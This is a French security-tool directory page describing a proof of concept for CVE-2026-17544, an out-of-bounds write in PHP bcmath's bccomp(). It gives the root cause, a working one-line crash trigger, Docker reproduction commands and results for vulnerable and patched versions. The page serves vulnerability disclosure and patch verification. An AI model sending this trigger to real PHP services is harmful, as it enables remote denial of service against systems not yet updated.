Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — Écriture hors limites (OOB write) dans PHP bcmath bccomp() (stack smashing). Vérifié : crash sur 8.4.23/8.5.8, corrigé en 8.4.24. GHSA-x692-q9x7-8c3f | Kitploit
Outils/GitHubGitHub/boreas37/cve-2026-17544-poc
Analyse des VulnérabilitésExploitationExploitation de Binaires
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — Écriture hors limites (OOB write) dans PHP bcmath bccomp() (stack smashing). Vérifié : crash sur 8.4.23/8.5.8, corrigé en 8.4.24. GHSA-x692-q9x7-8c3f

Voir le dépôt
63il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-17544 — Écriture hors limites dans bccomp() de PHP bcmath (stack smashing)

CVSS 9.8 (Critique) · CWE-787 · GHSA-x692-q9x7-8c3f

Résumé

bc_str2num() dans ext/bcmath/libbcmath/src/str2num.c (libbcmath intégré, PHP 8.4+) contient une écriture hors limites de type off-by-N. Lorsque le scale fourni par l'utilisateur est inférieur à l'échelle automatique de l'opérande, la fraction est tronquée puis une suppression des zéros finaux s'exécute sans mettre à jour fractional_end. Le tampon est alloué pour la longueur tronquée (plus courte), mais la copie utilise la longueur non tronquée → dépassement de tampon sur le tas/la pile.

Versions affectées : PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 Corrigé : PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755 Crédit du rapporteur : Recep Asan (recepasan)

Cause racine

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

Le correctif d'une ligne (fractional_end = fractional_new_end;) ainsi que le test de régression ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt ont été fusionnés dans 8.4.24/8.5.9.

Déclencheur (vérifié)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);

Vérifié le 12 août 2026 sur Raspberry Pi 5 (arm64) via Docker.

Utilisation

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

Impact

  • Déni de service à distance (DoS) : tout service passant des opérandes/une échelle contrôlés par l'attaquant à bccomp() peut être mis en crash de manière déterministe (8.4/8.5, les builds avec stack-protector font un abort ; les builds non protégés corrompent les registres sauvegardés et l'adresse de retour).
  • RCE : théoriquement possible via le heap grooming (façonnage du tas), mais les octets hors limites (OOB) sont limités aux valeurs BCD (0x00–0x09) et la taille du dépassement = nombre de zéros supprimés — difficile, non démontré.

Références

  • GHSA : https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • Correctif 8.4 : fa18dab73f93 · Correctif 8.5 : ce2ec8a70755
Télécharger l’outil
BuildRésultat
PHP 8.4.23 (vulnérable, Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, exit 133 (SIGABRT)
PHP 8.5.8 (vulnérable)💥 identique — abandon déterministe (abort)
PHP 8.4.24 (corrigé, php:8.4.24-cli)✅ int(1), exit 0